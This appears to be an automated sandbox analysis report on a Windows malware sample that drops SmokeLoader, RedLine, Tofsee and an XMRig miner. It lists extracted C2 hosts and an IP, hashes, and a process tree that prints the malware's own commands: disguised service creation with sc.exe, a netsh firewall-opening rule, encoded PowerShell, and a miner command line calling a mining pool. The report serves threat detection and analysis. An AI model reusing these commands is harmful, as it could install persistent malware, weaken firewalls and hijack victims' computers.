Analysis

  • max time kernel
    156s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2022 10:21

General

  • Target

    41cea46a44d655ab07e414f88b07260a.exe

  • Size

    170KB

  • MD5

    41cea46a44d655ab07e414f88b07260a

  • SHA1

    6678722fb1a3889b18d7ba42ec509e1f84521dd3

  • SHA256

    ca81d370ff7e2f2b429d2c1ff109a351f66f5bb9799d34c424aaaac684ed59a4

  • SHA512

    795df19ad7f68328ff69715afc3a2511a3828ac114e81a79ca288c19bb41aff1e05b084c4236aaa6825bdf5c53d88fcae7d7433d69660fff8a30f67ea0b80d30

  • SSDEEP

    3072:v8hLpO65z0fJRIA/M3wxyLiBI6Iz/PkW4n:GLp3AabwqpZ

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Extracted

Family

redline

Botnet

LogsDiller Cloud (Sup: @mr_golds)

C2

77.73.134.27:8163

Attributes
  • auth_value

    56c6f7b9024c076f0a96931453da7e56

Signatures

  • Detects Smokeloader packer 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\41cea46a44d655ab07e414f88b07260a.exe
    "C:\Users\Admin\AppData\Local\Temp\41cea46a44d655ab07e414f88b07260a.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:4444
  • C:\Users\Admin\AppData\Local\Temp\6E79.exe
    C:\Users\Admin\AppData\Local\Temp\6E79.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:240
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:102144
  • C:\Users\Admin\AppData\Local\Temp\711A.exe
    C:\Users\Admin\AppData\Local\Temp\711A.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:6940
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zxyqofxt\
      2⤵
        PID:82684
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ctnnyfdw.exe" C:\Windows\SysWOW64\zxyqofxt\
        2⤵
          PID:93784
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zxyqofxt binPath= "C:\Windows\SysWOW64\zxyqofxt\ctnnyfdw.exe /d\"C:\Users\Admin\AppData\Local\Temp\711A.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:101792
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zxyqofxt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:102236
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zxyqofxt
          2⤵
          • Launches sc.exe
          PID:102316
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:95080
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 6940 -s 1044
          2⤵
          • Program crash
          PID:1248
      • C:\Users\Admin\AppData\Local\Temp\73CA.exe
        C:\Users\Admin\AppData\Local\Temp\73CA.exe
        1⤵
        • Executes dropped EXE
        PID:16624
      • C:\Users\Admin\AppData\Local\Temp\7794.exe
        C:\Users\Admin\AppData\Local\Temp\7794.exe
        1⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        PID:30108
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgA4AA==
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1048
        • C:\Users\Admin\AppData\Local\Temp\7794.exe
          C:\Users\Admin\AppData\Local\Temp\7794.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4780
      • C:\Users\Admin\AppData\Local\Temp\7ED9.exe
        C:\Users\Admin\AppData\Local\Temp\7ED9.exe
        1⤵
        • Executes dropped EXE
        PID:53184
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:63176
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe
          1⤵
            PID:81884
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:97792
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe
              1⤵
                PID:102248
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                  PID:102364
                • C:\Windows\SysWOW64\zxyqofxt\ctnnyfdw.exe
                  C:\Windows\SysWOW64\zxyqofxt\ctnnyfdw.exe /d"C:\Users\Admin\AppData\Local\Temp\711A.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:2816
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Sets service image path in registry
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:4092
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2256
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 2816 -s 532
                    2⤵
                    • Program crash
                    PID:4340
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 196 -p 6940 -ip 6940
                  1⤵
                    PID:3360
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:2832
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2816 -ip 2816
                      1⤵
                        PID:4792
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        1⤵
                          PID:3640
                        • C:\Windows\explorer.exe
                          C:\Windows\explorer.exe
                          1⤵
                            PID:4368
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            1⤵
                              PID:3572

                            Network

                            MITRE ATT&CK Matrix ATT&CK v6

                            Persistence

                            New Service

                            1
                            T1050

                            Modify Existing Service

                            1
                            T1031

                            Registry Run Keys / Startup Folder

                            1
                            T1060

                            Privilege Escalation

                            New Service

                            1
                            T1050

                            Defense Evasion

                            Modify Registry

                            1
                            T1112

                            Credential Access

                            Credentials in Files

                            1
                            T1081

                            Discovery

                            Query Registry

                            2
                            T1012

                            System Information Discovery

                            3
                            T1082

                            Peripheral Device Discovery

                            1
                            T1120

                            Collection

                            Data from Local System

                            1
                            T1005

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7794.exe.log
                              Filesize

                              1KB

                              MD5

                              7200fb09b34d23375c2cff85323af4a4

                              SHA1

                              0994a0ab70a6f6c8c45b4664bed926779fbd5c2e

                              SHA256

                              e065d81294bae8c8404e57ce5d9d4db68472cefac1469e49f2e73671a4315e15

                              SHA512

                              417451e2279b9f1861d317edd8a517a7bb6d1e505c23fb89a16662059d23fbd789223b061ea73217d2042a2221f998c093928a28fd6d8054f53fa174f5dd02de

                            • C:\Users\Admin\AppData\Local\Temp\6E79.exe
                              Filesize

                              2.6MB

                              MD5

                              d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

                              SHA1

                              ed7413773b7c9154c9aeed9d173f61577522e0db

                              SHA256

                              576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

                              SHA512

                              858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

                            • C:\Users\Admin\AppData\Local\Temp\6E79.exe
                              Filesize

                              2.6MB

                              MD5

                              d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

                              SHA1

                              ed7413773b7c9154c9aeed9d173f61577522e0db

                              SHA256

                              576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

                              SHA512

                              858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

                            • C:\Users\Admin\AppData\Local\Temp\711A.exe
                              Filesize

                              169KB

                              MD5

                              ae7f1aa5153b0c9f876dbeb6c031b513

                              SHA1

                              92bd27802eacddbf2cceeba53eb54b6ca1ea856f

                              SHA256

                              4a19db193094b2a358855deba24ca90126389b1e202ed97c0e581381851abd06

                              SHA512

                              d8f0b7ae390efcff0c23d0b7dd74472bc0ae821f348599615ec74f4ea8263efd5db90e0c0bc8db9b0066b23be4de54b522b6b6e7a518c3191a0436330abcfb1f

                            • C:\Users\Admin\AppData\Local\Temp\711A.exe
                              Filesize

                              169KB

                              MD5

                              ae7f1aa5153b0c9f876dbeb6c031b513

                              SHA1

                              92bd27802eacddbf2cceeba53eb54b6ca1ea856f

                              SHA256

                              4a19db193094b2a358855deba24ca90126389b1e202ed97c0e581381851abd06

                              SHA512

                              d8f0b7ae390efcff0c23d0b7dd74472bc0ae821f348599615ec74f4ea8263efd5db90e0c0bc8db9b0066b23be4de54b522b6b6e7a518c3191a0436330abcfb1f

                            • C:\Users\Admin\AppData\Local\Temp\73CA.exe
                              Filesize

                              395KB

                              MD5

                              a864c7dcd49506486eb4a15632a34c03

                              SHA1

                              6f247530bd632cb53cdc0b7a8c466e2144c16d84

                              SHA256

                              dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

                              SHA512

                              71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

                            • C:\Users\Admin\AppData\Local\Temp\73CA.exe
                              Filesize

                              395KB

                              MD5

                              a864c7dcd49506486eb4a15632a34c03

                              SHA1

                              6f247530bd632cb53cdc0b7a8c466e2144c16d84

                              SHA256

                              dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

                              SHA512

                              71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

                            • C:\Users\Admin\AppData\Local\Temp\7794.exe
                              Filesize

                              1.1MB

                              MD5

                              ff97413fadad115998666fd129ccb86d

                              SHA1

                              152ca9dd31bf0c84f435154727186c8dca441f00

                              SHA256

                              6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                              SHA512

                              2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                            • C:\Users\Admin\AppData\Local\Temp\7794.exe
                              Filesize

                              1.1MB

                              MD5

                              ff97413fadad115998666fd129ccb86d

                              SHA1

                              152ca9dd31bf0c84f435154727186c8dca441f00

                              SHA256

                              6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                              SHA512

                              2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                            • C:\Users\Admin\AppData\Local\Temp\7794.exe
                              Filesize

                              1.1MB

                              MD5

                              ff97413fadad115998666fd129ccb86d

                              SHA1

                              152ca9dd31bf0c84f435154727186c8dca441f00

                              SHA256

                              6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                              SHA512

                              2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                            • C:\Users\Admin\AppData\Local\Temp\7ED9.exe
                              Filesize

                              2.7MB

                              MD5

                              c0265881059ec2ecf23befda6fb64f9b

                              SHA1

                              8b7d0cd04f91bec9d379817c3adf0ddd81b7c544

                              SHA256

                              4b774adffc396f00368571a37a58c420ee4b9515c1440e32de91fb1a018acb4b

                              SHA512

                              0886c03d4c406eaffc0f60fa04a7e89c3d84feeb969148efc3738200cfec889d0b09cfe1248dfbe064a9472b03726d8ae24b647bf37047758bf06682b5effd57

                            • C:\Users\Admin\AppData\Local\Temp\7ED9.exe
                              Filesize

                              2.7MB

                              MD5

                              c0265881059ec2ecf23befda6fb64f9b

                              SHA1

                              8b7d0cd04f91bec9d379817c3adf0ddd81b7c544

                              SHA256

                              4b774adffc396f00368571a37a58c420ee4b9515c1440e32de91fb1a018acb4b

                              SHA512

                              0886c03d4c406eaffc0f60fa04a7e89c3d84feeb969148efc3738200cfec889d0b09cfe1248dfbe064a9472b03726d8ae24b647bf37047758bf06682b5effd57

                            • C:\Users\Admin\AppData\Local\Temp\ctnnyfdw.exe
                              Filesize

                              11.7MB

                              MD5

                              9fc1789e47bc0e28775c739dbfd6ad47

                              SHA1

                              16e0b1e138362be725600e1db029685ef21dd2b6

                              SHA256

                              6d081a4cb220e74a34decb603553d78ab653c85330d60d21ebef2233b086479c

                              SHA512

                              87897236da581f5f3f3056f1e71187c0e76cccd772e637e39b3fbe4e5e16a844cbc52eff2033e52051d1b213ea40ddec9076b2e0f4eea0c3ceb6b10ceff69828

                            • C:\Windows\SysWOW64\zxyqofxt\ctnnyfdw.exe
                              Filesize

                              11.7MB

                              MD5

                              9fc1789e47bc0e28775c739dbfd6ad47

                              SHA1

                              16e0b1e138362be725600e1db029685ef21dd2b6

                              SHA256

                              6d081a4cb220e74a34decb603553d78ab653c85330d60d21ebef2233b086479c

                              SHA512

                              87897236da581f5f3f3056f1e71187c0e76cccd772e637e39b3fbe4e5e16a844cbc52eff2033e52051d1b213ea40ddec9076b2e0f4eea0c3ceb6b10ceff69828

                            • memory/240-137-0x0000000000000000-mapping.dmp
                            • memory/1048-224-0x0000000007E30000-0x00000000084AA000-memory.dmp
                              Filesize

                              6.5MB

                            • memory/1048-213-0x0000000005950000-0x0000000005F78000-memory.dmp
                              Filesize

                              6.2MB

                            • memory/1048-212-0x0000000002E80000-0x0000000002EB6000-memory.dmp
                              Filesize

                              216KB

                            • memory/1048-215-0x0000000005FF0000-0x0000000006056000-memory.dmp
                              Filesize

                              408KB

                            • memory/1048-220-0x00000000067C0000-0x00000000067DE000-memory.dmp
                              Filesize

                              120KB

                            • memory/1048-216-0x0000000006110000-0x0000000006176000-memory.dmp
                              Filesize

                              408KB

                            • memory/1048-225-0x0000000006CB0000-0x0000000006CCA000-memory.dmp
                              Filesize

                              104KB

                            • memory/1048-211-0x0000000000000000-mapping.dmp
                            • memory/2256-248-0x0000000000000000-mapping.dmp
                            • memory/2256-249-0x0000000000600000-0x00000000006F1000-memory.dmp
                              Filesize

                              964KB

                            • memory/2256-254-0x0000000000600000-0x00000000006F1000-memory.dmp
                              Filesize

                              964KB

                            • memory/2816-194-0x0000000000400000-0x0000000000585000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/2816-193-0x0000000000643000-0x0000000000654000-memory.dmp
                              Filesize

                              68KB

                            • memory/2832-185-0x0000000000000000-mapping.dmp
                            • memory/2832-186-0x0000000000450000-0x0000000000455000-memory.dmp
                              Filesize

                              20KB

                            • memory/2832-187-0x0000000000440000-0x0000000000449000-memory.dmp
                              Filesize

                              36KB

                            • memory/2832-221-0x0000000000450000-0x0000000000455000-memory.dmp
                              Filesize

                              20KB

                            • memory/3572-227-0x0000000000980000-0x0000000000988000-memory.dmp
                              Filesize

                              32KB

                            • memory/3572-204-0x0000000000000000-mapping.dmp
                            • memory/3572-206-0x0000000000980000-0x0000000000988000-memory.dmp
                              Filesize

                              32KB

                            • memory/3572-207-0x0000000000970000-0x000000000097B000-memory.dmp
                              Filesize

                              44KB

                            • memory/3640-197-0x0000000000590000-0x000000000059B000-memory.dmp
                              Filesize

                              44KB

                            • memory/3640-192-0x0000000000000000-mapping.dmp
                            • memory/3640-223-0x00000000005A0000-0x00000000005A6000-memory.dmp
                              Filesize

                              24KB

                            • memory/3640-196-0x00000000005A0000-0x00000000005A6000-memory.dmp
                              Filesize

                              24KB

                            • memory/4092-195-0x0000000000800000-0x0000000000815000-memory.dmp
                              Filesize

                              84KB

                            • memory/4092-245-0x0000000001BE0000-0x0000000001BE7000-memory.dmp
                              Filesize

                              28KB

                            • memory/4092-236-0x0000000001B80000-0x0000000001B90000-memory.dmp
                              Filesize

                              64KB

                            • memory/4092-233-0x0000000001B70000-0x0000000001B76000-memory.dmp
                              Filesize

                              24KB

                            • memory/4092-230-0x0000000002400000-0x000000000260F000-memory.dmp
                              Filesize

                              2.1MB

                            • memory/4092-189-0x0000000000800000-0x0000000000815000-memory.dmp
                              Filesize

                              84KB

                            • memory/4092-239-0x0000000001BD0000-0x0000000001BD5000-memory.dmp
                              Filesize

                              20KB

                            • memory/4092-242-0x0000000007400000-0x000000000780B000-memory.dmp
                              Filesize

                              4.0MB

                            • memory/4092-188-0x0000000000000000-mapping.dmp
                            • memory/4092-222-0x0000000000800000-0x0000000000815000-memory.dmp
                              Filesize

                              84KB

                            • memory/4368-226-0x0000000000CB0000-0x0000000000CB7000-memory.dmp
                              Filesize

                              28KB

                            • memory/4368-198-0x0000000000000000-mapping.dmp
                            • memory/4368-201-0x0000000000CB0000-0x0000000000CB7000-memory.dmp
                              Filesize

                              28KB

                            • memory/4368-202-0x0000000000CA0000-0x0000000000CAD000-memory.dmp
                              Filesize

                              52KB

                            • memory/4444-132-0x0000000000878000-0x0000000000889000-memory.dmp
                              Filesize

                              68KB

                            • memory/4444-136-0x0000000000400000-0x0000000000585000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/4444-135-0x0000000000878000-0x0000000000889000-memory.dmp
                              Filesize

                              68KB

                            • memory/4444-134-0x0000000000400000-0x0000000000585000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/4444-133-0x0000000000820000-0x0000000000829000-memory.dmp
                              Filesize

                              36KB

                            • memory/4780-260-0x0000000000400000-0x0000000000482000-memory.dmp
                              Filesize

                              520KB

                            • memory/4780-259-0x0000000000000000-mapping.dmp
                            • memory/6940-149-0x00000000006E9000-0x00000000006FA000-memory.dmp
                              Filesize

                              68KB

                            • memory/6940-199-0x00000000006E9000-0x00000000006FA000-memory.dmp
                              Filesize

                              68KB

                            • memory/6940-140-0x0000000000000000-mapping.dmp
                            • memory/6940-151-0x0000000000400000-0x0000000000585000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/6940-150-0x00000000005C0000-0x00000000005D3000-memory.dmp
                              Filesize

                              76KB

                            • memory/6940-200-0x0000000000400000-0x0000000000585000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/16624-143-0x0000000000000000-mapping.dmp
                            • memory/30108-210-0x0000000005AA0000-0x0000000005AC2000-memory.dmp
                              Filesize

                              136KB

                            • memory/30108-156-0x0000000000F70000-0x0000000001094000-memory.dmp
                              Filesize

                              1.1MB

                            • memory/30108-146-0x0000000000000000-mapping.dmp
                            • memory/53184-152-0x0000000000000000-mapping.dmp
                            • memory/63176-157-0x0000000000C60000-0x0000000000C67000-memory.dmp
                              Filesize

                              28KB

                            • memory/63176-155-0x0000000000000000-mapping.dmp
                            • memory/63176-163-0x0000000000C50000-0x0000000000C5B000-memory.dmp
                              Filesize

                              44KB

                            • memory/81884-158-0x0000000000000000-mapping.dmp
                            • memory/81884-161-0x0000000001080000-0x0000000001089000-memory.dmp
                              Filesize

                              36KB

                            • memory/81884-162-0x0000000000DF0000-0x0000000000DFF000-memory.dmp
                              Filesize

                              60KB

                            • memory/81884-214-0x0000000001080000-0x0000000001089000-memory.dmp
                              Filesize

                              36KB

                            • memory/82684-159-0x0000000000000000-mapping.dmp
                            • memory/93784-160-0x0000000000000000-mapping.dmp
                            • memory/95080-183-0x0000000000000000-mapping.dmp
                            • memory/97792-217-0x0000000000750000-0x0000000000755000-memory.dmp
                              Filesize

                              20KB

                            • memory/97792-164-0x0000000000000000-mapping.dmp
                            • memory/97792-176-0x0000000000740000-0x0000000000749000-memory.dmp
                              Filesize

                              36KB

                            • memory/97792-173-0x0000000000750000-0x0000000000755000-memory.dmp
                              Filesize

                              20KB

                            • memory/101792-166-0x0000000000000000-mapping.dmp
                            • memory/102144-255-0x0000000007250000-0x0000000007412000-memory.dmp
                              Filesize

                              1.8MB

                            • memory/102144-167-0x0000000000000000-mapping.dmp
                            • memory/102144-209-0x0000000004CC0000-0x0000000004CFC000-memory.dmp
                              Filesize

                              240KB

                            • memory/102144-228-0x0000000005BA0000-0x0000000005C32000-memory.dmp
                              Filesize

                              584KB

                            • memory/102144-229-0x00000000061F0000-0x0000000006794000-memory.dmp
                              Filesize

                              5.6MB

                            • memory/102144-208-0x0000000004C60000-0x0000000004C72000-memory.dmp
                              Filesize

                              72KB

                            • memory/102144-168-0x0000000000790000-0x00000000007B8000-memory.dmp
                              Filesize

                              160KB

                            • memory/102144-258-0x0000000006920000-0x0000000006970000-memory.dmp
                              Filesize

                              320KB

                            • memory/102144-203-0x00000000051E0000-0x00000000057F8000-memory.dmp
                              Filesize

                              6.1MB

                            • memory/102144-205-0x0000000004D30000-0x0000000004E3A000-memory.dmp
                              Filesize

                              1.0MB

                            • memory/102144-257-0x00000000068A0000-0x0000000006916000-memory.dmp
                              Filesize

                              472KB

                            • memory/102144-256-0x0000000007950000-0x0000000007E7C000-memory.dmp
                              Filesize

                              5.2MB

                            • memory/102236-174-0x0000000000000000-mapping.dmp
                            • memory/102248-175-0x0000000000000000-mapping.dmp
                            • memory/102248-218-0x0000000000950000-0x0000000000956000-memory.dmp
                              Filesize

                              24KB

                            • memory/102248-177-0x0000000000940000-0x000000000094C000-memory.dmp
                              Filesize

                              48KB

                            • memory/102248-180-0x0000000000950000-0x0000000000956000-memory.dmp
                              Filesize

                              24KB

                            • memory/102316-178-0x0000000000000000-mapping.dmp
                            • memory/102364-182-0x00000000008B0000-0x00000000008D7000-memory.dmp
                              Filesize

                              156KB

                            • memory/102364-179-0x0000000000000000-mapping.dmp
                            • memory/102364-181-0x00000000008E0000-0x0000000000902000-memory.dmp
                              Filesize

                              136KB

                            • memory/102364-219-0x00000000008E0000-0x0000000000902000-memory.dmp
                              Filesize

                              136KB